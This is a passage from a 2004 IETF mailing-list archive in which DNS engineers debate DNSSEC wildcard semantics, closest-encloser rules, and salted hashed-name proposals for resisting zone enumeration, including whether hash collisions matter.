noqname proof (NSEC + RRSIG(NSEC)). If * has data but not of the requested type then NSEC for * + RRSIG(NSEC) + noqname proof. If * has no data but has children the NSEC that spans * + noqname proof. e.g. qname d.a.example a.example NSEC b.*.a.example (nodata proof, wildcard exists with nodata) b.*.a.example NSEC e.example (noqname proof, deepest match gives a.example -> *.a.example for wildcard) > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Mon, 13 Sep 2004 18:13:02 -0400 Lines: 28 Sender: owner-namedroppers@ops.ietf.org References: <200409132145.i8DLj4oR035480@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 00:22:53 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <200409132145.i8DLj4oR035480@drugs.dv.isc.org> To: Mark Andrews <Mark_Andrews@isc.org> Precedence: bulk At 7:45 +1000 9/14/04, Mark Andrews wrote: >> >Yes, though I'm not real sure I like that term - but I'm not sure what >> >would be a better one. >> >> If you imagine the name space as a two-dimensional field (like the >> Venn diagrams I learned sets from), domains would be nested. That's >> where the notion of "closest enclosure" comes from. It's not so >> clear if you think of the stick and node tree diagram. > > deepest match / longest match The reason I avoided those terms is that they are too lexically close to what's used in routing to mean the same thing, only completely differently. I.e., the most significant bit in an address is on the left, the most significant label is on the right. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 12:00:48 +0100 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> <20843.1094846936@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 13:14:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <20843.1094846936@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > | The first thing to realize is that by all definitions, subdomains of > | wild card domain names are legal. > > This makes no sense, sub-domains of a domain which is *.xxx are legal, > but if it (*.xxx) is being used as a wildcard, it ends any query, whether > or not the '*' might have sub-domains is irrelevant. I find this very confusing. Are you saying that if *.xxx is being used as a wildcard, that's because the query didn't match any of the subdomains, and that's why they're irrelevant? > | To illustrate this, the following chart shows some matches. Assume that > | the names *.example., *.*.example., and *.sub.*.example. are defined > | in the zone. > > ... and that there are no other '*' labels in (or below) example. > (without that, some of the answers below might be wrong). You also need > to assume that various other domains don't exist (like a.example). It would probably best to present a complete zone file. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 12:15:04 +0100 Lines: 47 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 13:22:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040dbd67aa223024@[192.168.1.100]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 20:50 +0200 9/10/04, Peter Koch wrote: > >> there'd be a '*' label as an empty non-terminal. To avoid empty >> terminals, >> this should not instantiate '*.example.com' as a wildcard. However, that >> conflicts with step 3 of the algorithm in 1034. > > > Ahh, yeah, what about empty non-terminal '*' nodes in the tree and the > role they might play as a source of synthetic records. Sigh. > > I suppose if you read the very last paragraph of step 3, you would take > this to mean that any name matching an empty non-terminal '*' node would > result in a no error, no data return (neglecting the CNAME rules). Wouldn't this mean (since all nonexistent names match the '*') that there's a synthesized (or real) closest encloser for all names at that level. In other words, if a.*.example exists, then a query for x.y.example would cause y.example to be synthesized as the closest encloser? So, if the zone looked like: a.*.example TXT "1" *.example TXT "2" Then a query for x.y.example would yield NXDOMAIN (since y.example is an ENT). If a.*.example was not present, the result would be "2". Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Tue, 14 Sep 2004 13:37:56 +0100 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> <FFB1F86C9CCF64DCF85A9C17@[192.168.100.25]> <a0602040cbd6bb6073163@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 14:46:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040cbd6bb6073163@[192.136.136.102]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > I'm lost on the issue of "avoiding" collisions. > > I've been trying not to jump into this as we haven't set up the > requirements (in a draft yet) for the problem, but: > > 1) What if authenticated denial was different for sets at an existing > name than for name errors? I mean, in RFC 1034 returns "no error" if a > name exists but data doesn't, and a "name error" if the name doesn't exist. > > 2) So, what if we take care of "no error, no data" by just using NSEC's > like: > owner NSEC owner <types it has> > > 3) For name errors, just return: > H(owner1) NXD H(owner2) for any H(owner1) < H(query) < H (owner2)? > > The implications - the zone data no longer needs to be sorted (no > lexical ordering of names). The table of hash records need not sully > the data space, so who cares about collisions? Precisely my point! > Okay - maybe H(missing name) = H (owner3)...like I've said, I have been > trying not to think about this until the time has come for the > discussion on solutions. Hash collisions are fantastically unlikely. With salt you can make them never occur, anyway. Plus, if they were a problem, then you would have the same issue with signatures, but I don't see anyone bringing that one up. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Tue, 14 Sep 2004 13:45:42 +0100 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 14:51:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <5041.1094858659@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > | it's trivially easy (and computationally > | efficient) to find a value S such that there are NO values i, j such that > | Y(i) = X(j) - I'll call that finding a non-colliding salt value S such that > | there are no collisions between the range and domain of the hash function. > > I think you're relying upon probabilities, which doesn't work in a situation > like this. DNSSEC already relies on the probability that two strings don't have the same hash - if they did, then a signature could be used to prove fake data. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Tue, 14 Sep 2004 13:48:32 +0100 Lines: 62 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 14:56:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <5041.1094858659@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > | One possible mechanism is simply to iterate through values of S chosen > | according to any cyclic algorithm with a cycle length >> n(X) (let's say of > | length 2^H or similar) - let's call the values S(1), S(2), S(3) etc. - you > | can show that you will find a first non-colliding value S(c) in a > | computationally small number of iterations (the expected number of > | iterations c is in essence 1, assuming n(X)<<2^H). > > All I need to do, is pick a name, any name, N, that exists in my zone, > and then for each potential S calculate HASH(N, S[i], H) and add that > name to my zone file. Now for name N, there's no possible S which doesn't > generate a conflict. > > How practical this is depends upon how big the range of possible salts is, > but practical or not, it is clearly possible. The number of bits in the > hash function is immaterial here (though as it gets bigger, the number of > possible salts must get less, as the total label length is limited). The salt is not included in the label (at least in my proposal). However, I still contend that colliding with another name is irrelevant, since the hashed name will only appear in an NSECbis record, and an unhashed name will never appear in an NSECbis record. > | For the record, for the reasons Ben mentioned a good while ago, I am not > | sure why collisions are actually a problem at all > > This one is a different issue, and isn't one I was addressing (just the > theory that it is possible to go about stealing names from the namespace > without ever doing any harm). > > The usual problems (if the RRtype of the clashing name is NS or CNAME) > might not apply to NSEC because of the weird rules that (I think) apply > to this new record type (or then again they may, I'm no expert on the > DNSSEC RR types). > > But I'd want to know just how they effect wildcards. If I have a > * IN MX 10 foobar. > record in my zone file (for the example. zone), I expect that anyone looking > up any-random-hash.example. is going to get the foobar MX record, just like > anyone looking up any other name that doesn't exist will get. If the > NSEC records existing mean that the the wildcard doesn't get found, then > things are badly broken. To fix that I'd have to add explicit MX records > for every hash label (and a *.hash-label as well) which would alter the > set of NSEC records that has to exist (clearly adding more), which means more > MX records required, and ... (so it isn't really fixable). That is, unless > NSEC records are to be treated as "special" for wildcard purposes. I agree, NSECbis records need to be treated as special. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Tue, 14 Sep 2004 09:19:42 -0400 Lines: 40 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> <4146D2B8.2070903@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 14 15:30:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <4146D2B8.2070903@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 12:15 +0100 9/14/04, Ben Laurie wrote: > >In other words, if a.*.example exists, then a query for x.y.example would >cause y.example to be synthesized as the closest encloser? So, if the zone >looked like: > >a.*.example TXT "1" >*.example TXT "2" > >Then a query for x.y.example would yield NXDOMAIN (since y.example >is an ENT). If a.*.example was not present, the result would be "2". The closest encloser is never synthesized - it's the closest domain in the tree to the name that is sought. Recall that synthesis only happens when you've found that an exact match fails. The last point of "success" is the closest encloser. For x.y.example, the closest encloser would be example.com. As there is a *.<closest encloser> (= *.example), that is the source of the synthetic records. The result you have is right, but y.example.com is not the closest encloser. Recall that when performing match rules to find the source of synthesis, multiple labels can match a '*'. (Not true when 'matching down the tree, label by label.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 08:10:36 +1000 Lines: 47 Sender: owner-namedroppers@ops.ietf.org References: <4146E7F6.7010605@algroup.co.uk> Cc: Robert Elz <kre@munnari.OZ.AU>, Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 00:20:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Tue, 14 Sep 2004 13:45:42 +0100." <4146E7F6.7010605@algroup.co.uk> Precedence: bulk > Robert Elz wrote: > > | it's trivially easy (and computationally > > | efficient) to find a value S such that there are NO values i, j such th > at > > | Y(i) = X(j) - I'll call that finding a non-colliding salt value S such > that > > | there are no collisions between the range and domain of the hash functi > on. > > > > I think you're relying upon probabilities, which doesn't work in a situatio > n > > like this. > > DNSSEC already relies on the probability that two strings don't have the > same hash - if they did, then a signature could be used to prove fake data. But collisions over the rdata do not impact on the lookup algorithm. Collisions in the namespace do impact on the lookup algorithm. > Cheers, > > Ben. > > -- > ApacheCon! 13-17 November! http://www.apachecon.com/ > > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 08:04:26 +1000 Lines: 67 Sender: owner-namedroppers@ops.ietf.org References: <4146E624.7000307@algroup.co.uk> Cc: Edward Lewis <edlewis@arin.net>, Alex Bligh <alex@alex.org.uk>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 00:20:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Tue, 14 Sep 2004 13:37:56 +0100." <4146E624.7000307@algroup.co.uk> Precedence: bulk > Edward Lewis wrote: > > I'm lost on the issue of "avoiding" collisions. > > > > I've been trying not to jump into this as we haven't set up the > > requirements (in a draft yet) for the problem, but: > > > > 1) What if authenticated denial was different for sets at an existing > > name than for name errors? I mean, in RFC 1034 returns "no error" if a > > name exists but data doesn't, and a "name error" if the name doesn't exist. > > > > 2) So, what if we take care of "no error, no data" by just using NSEC's > > like: > > owner NSEC owner <types it has> > > > > 3) For name errors, just return: > > H(owner1) NXD H(owner2) for any H(owner1) < H(query) < H (owner2)? > > > > The implications - the zone data no longer needs to be sorted (no > > lexical ordering of names). The table of hash records need not sully > > the data space, so who cares about collisions? > The data doesn't have to be sorted but the hashes do. "6 of 1, half a dozen of the other" as far as I am concerned. > Precisely my point! > > > Okay - maybe H(missing name) = H (owner3)...like I've said, I have been > > trying not to think about this until the time has come for the > > discussion on solutions. > > Hash collisions are fantastically unlikely. With salt you can make them > never occur, anyway. Plus, if they were a problem, then you would have > the same issue with signatures, but I don't see anyone bringing that one up. You are incorrect. All the current schemes have a hash of less than 64 octets. There will ALWAYS be a possibility of collision even after trying every salt as it is impossible to make the hash space larger than the pre-hash space. > Cheers, > > Ben. > > -- > ApacheCon! 13-17 November! http://www.apachecon.com/ > > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Francis Dupont <Francis.Dupont@enst-bretagne.fr> Subject: Re: Overview of DNSSEC Pilots and Projects Date: Wed, 15 Sep 2004 00:16:33 +0200 Lines: 17 Sender: owner-namedroppers@ops.ietf.org References: <20040913195601.GY62784@universe.dnssec.net> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 00:26:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jacco Tunnissen <jacco@dnssec.net> In-reply-to: Your message of Mon, 13 Sep 2004 21:56:01 +0200. <20040913195601.GY62784@universe.dnssec.net> X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Precedence: bulk In your previous mail you wrote: DNSSEC RELATED PROJECTS CADDISC Project - Combining LDAP and DNSsec to distribute keys securely => CADDISC has a more operational follow-up named VERICERT. Thanks Francis.Dupont@enst-bretagne.fr -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 10:52:16 +0100 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 12:01:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org>, Ben Laurie <ben@algroup.co.uk> In-Reply-To: <200409142204.i8EM4QAK031128@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > You are incorrect. All the current schemes have a hash of less than > 64 octets. There will ALWAYS be a possibility of collision even > after trying every salt as it is impossible to make the hash space > larger than the pre-hash space. But the pre-hash space is sparse, and we only care about collisions of ACTUAL values in the pre-hash space, not potential values. IE (assuming all octet values are OK and 64 byte labels for the sake of argument) there are the pre-hash space is size 256^64 and the hash space is smaller (let's say we represent them as alphanumerics so 36^64) - which is presumably your complaint. Note 256^64 is approximately 10^153, and there are about 10^79 atoms in the universe, so I predict in applications the pre-hash space will be sparse as even if we could represent one RR in just one atom, we are way off filling the zone :-) So this doesn't matter provided there is a limitation on the number of RR's in a zone - the limitation doesn't have to be impactful - If it was 10^76 (number of atoms in the universe over 1000), we'd still have 10^79 possible salt values to work through, i.e. about 263 bits of salt. And as I pointed out earlier, as 76*2<153, the expected number of iterations to find a salt that works is less than 2. I do not think limiting a zone file to 10^79 RRs is going to have a significant deployment impact. Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 21:48:09 +1000 Lines: 59 Sender: owner-namedroppers@ops.ietf.org References: <C4962070D00589CD49DFAC21@[192.168.100.25]> Cc: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 13:58:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-reply-to: Your message of "Wed, 15 Sep 2004 10:52:16 +0100." <C4962070D00589CD49DFAC21@[192.168.100.25]> Precedence: bulk > --On 15 September 2004 08:04 +1000 Mark Andrews <Mark_Andrews@isc.org> > wrote: > > > You are incorrect. All the current schemes have a hash of less than > > 64 octets. There will ALWAYS be a possibility of collision even > > after trying every salt as it is impossible to make the hash space > > larger than the pre-hash space. > > But the pre-hash space is sparse, and we only care about collisions of > ACTUAL values in the pre-hash space, not potential values. IE (assuming all > octet values are OK and 64 byte labels for the sake of argument) there are > the pre-hash space is size 256^64 and the hash space is smaller (let's say > we represent them as alphanumerics so 36^64) - which is presumably your > complaint. Note 256^64 is approximately 10^153, and there are about 10^79 > atoms in the universe, so I predict in applications the pre-hash space will > be sparse as even if we could represent one RR in just one atom, we are way > off filling the zone :-) So this doesn't matter provided there is a > limitation on the number of RR's in a zone - the limitation doesn't have to > be impactful - If it was 10^76 (number of atoms in the universe over 1000), > we'd still have 10^79 possible salt values to work through, i.e. about 263 > bits of salt. And as I pointed out earlier, as 76*2<153, the expected > number of iterations to find a salt that works is less than 2. > > I do not think limiting a zone file to 10^79 RRs is going to have > a significant deployment impact. > > Alex You can't write a draft assuming that there won't be collisions. There will ALWAYS be the possibility of collisions (salts only reduce the probability) and you have to take those into account. You have to describe what to do when you have a collision. Don't say they won't occur because they will. For RRSIG the impact of collisions is that there are two (or more) RRsets that you cryptographically prove they are different. For name hashes you end up with different names with possible different sets of types that you some how have to merge. If the sets are identical I don't think there is a issue but it would need to be discussed. You will also have occasional false matches (names that you can't prove that don't exist). There MUST be names for which this will occur. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 19:11:42 +0700 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <4146E8A0.2060402@algroup.co.uk> <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 14:20:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: <4146E8A0.2060402@algroup.co.uk> Precedence: bulk Date: Tue, 14 Sep 2004 13:48:32 +0100 From: Ben Laurie <ben@algroup.co.uk> Message-ID: <4146E8A0.2060402@algroup.co.uk> | The salt is not included in the label (at least in my proposal). It needs to be included somewhere, right? Otherwise the resolver can't verify the hash is correct, and thus has no idea if the NSECbis record is actually one that was supposed to apply to this query. If the salt is something very huge, that's a lot of extra data to include (somewhere) in each record (and the salt itself needs to be verified to be correct). This is why I have been assuming that the size of the salt (number of bits) would be limited to a (somewhat) smallish value. | However, I still contend that colliding with another name is irrelevant, | since the hashed name will only appear in an NSECbis record, and an | unhashed name will never appear in an NSECbis record. That's OK as far as it goes, except that the mere existence of a RR (of any type) alters the lookup algorithm - particularly as it relates to wildcards. And ... | I agree, NSECbis records need to be treated as special. I think that would be a terrible idea, more "special" records are the very last thing that the DNS needs. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Wed, 15 Sep 2004 15:06:59 +0200 (CEST) Lines: 79 Sender: owner-namedroppers@ops.ietf.org References: <200409151148.i8FBm9QR075629@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: Alex Bligh <alex@alex.org.uk>, Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 15 15:15:48 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: 